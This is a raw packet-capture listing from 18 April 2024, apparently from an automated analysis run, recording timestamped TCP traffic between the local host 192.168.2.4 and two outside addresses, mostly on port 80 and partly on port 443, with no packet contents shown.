Apr 18, 2024 23:40:18.003057003 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003057957 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003097057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003110886 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003134966 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003149033 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003174067 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003177881 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003215075 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003223896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003257036 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003268957 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003271103 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003292084 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003308058 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003321886 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003345966 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003360987 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003395081 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003401995 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003437996 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003457069 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003475904 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003494978 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003513098 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003524065 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003551960 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003568888 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003591061 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003606081 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003629923 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003644943 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003669024 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003683090 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003706932 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003720045 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003745079 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003760099 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003783941 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003803968 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003823996 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003837109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003861904 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003869057 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003900051 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003907919 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003937006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.003948927 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003984928 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.003988028 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004029989 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004034996 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004045010 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004072905 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004081964 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004129887 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004131079 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004142046 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004187107 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004194975 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004199982 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004240036 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004242897 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004242897 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004276991 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004297018 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004313946 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004319906 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004364014 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004369020 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004401922 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004417896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004441023 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004455090 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004484892 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004498959 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004502058 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004520893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004539967 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004544973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004576921 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004589081 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004615068 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004630089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004653931 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004667997 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004693985 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004709959 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004730940 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004746914 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004770041 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004782915 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004807949 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004821062 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004846096 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004862070 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004884005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004899025 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004921913 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004930973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004959106 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.004976034 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.004997969 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005009890 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005034924 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005049944 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005074024 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005088091 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005111933 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005125999 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005150080 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005165100 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005189896 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005213022 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005228996 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005235910 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005268097 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005280018 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005306005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005321980 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005343914 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005372047 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005387068 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005400896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005424976 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005438089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005465984 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005479097 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005503893 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005515099 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005542040 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005556107 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005579948 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005592108 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005618095 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005629063 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005656958 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005667925 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005697012 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005706072 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005738020 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005748034 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005774975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005789995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005812883 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.005826950 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.005862951 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.067466021 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.198429108 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.198463917 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.198482990 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.198549032 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.199239016 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.199301958 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.199353933 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.199429989 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.199776888 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.199810028 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.200066090 CEST	49761	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.200335979 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.215254068 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.215296030 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.215332985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.215368986 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.233402014 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.233443975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.233478069 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.233484983 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.233498096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.233536959 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234149933 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234189987 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234203100 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234239101 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234685898 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234724045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234739065 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234780073 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234817982 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234855890 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234867096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234894037 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234906912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234931946 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.234941006 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.234981060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.235034943 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.235071898 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.235083103 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.235115051 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.235124111 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.235152960 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.235158920 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.235270977 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245469093 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245510101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245548010 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245570898 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245570898 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245584965 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245599985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245624065 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245634079 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245661020 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245676994 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245699883 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245716095 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245737076 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245753050 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245778084 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245790958 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245815992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245831966 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245853901 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245866060 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245891094 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245909929 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245929003 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245939016 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.245969057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.245997906 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246011019 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246017933 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246049881 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246057987 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246087074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246099949 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246124983 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246135950 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246162891 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246176958 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246206045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246216059 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246243954 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246256113 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246282101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246293068 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246320009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246332884 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246357918 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246375084 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246397972 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246408939 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246436119 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246464014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246473074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246484041 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246511936 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246524096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246550083 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246567011 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246591091 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246602058 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246629953 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246644020 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246666908 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246680021 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246705055 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246715069 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246742964 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246754885 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246781111 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246794939 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246819019 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246831894 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246859074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246870041 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246896029 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246910095 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246933937 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246947050 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.246978045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.246989012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247014999 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.247029066 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247052908 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.247066975 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247092009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.247116089 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247129917 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.247136116 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247176886 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247178078 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.247219086 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.247232914 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.247267962 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.420562983 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.441946030 CEST	80	49761	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.442035913 CEST	49761	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.442384005 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.442466021 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.474095106 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.474154949 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.474318981 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.475874901 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.475897074 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.475963116 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.481554985 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.481661081 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.551003933 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.551063061 CEST	443	49763	64.233.176.103	192.168.2.4
Apr 18, 2024 23:40:18.655128002 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.655432940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.716753006 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.717300892 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.717366934 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.728863955 CEST	49763	443	192.168.2.4	64.233.176.103
Apr 18, 2024 23:40:18.732902050 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.901391029 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.901520967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.902601004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.902677059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.946595907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:18.975336075 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.980938911 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:18.981000900 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.070524931 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.143470049 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.143750906 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.192397118 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192645073 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192701101 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.192763090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192804098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192816973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.192853928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.192857981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192897081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192908049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.192935944 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192946911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.192975044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.192986965 CEST	49768	80	192.168.2.4	193.233.132.167
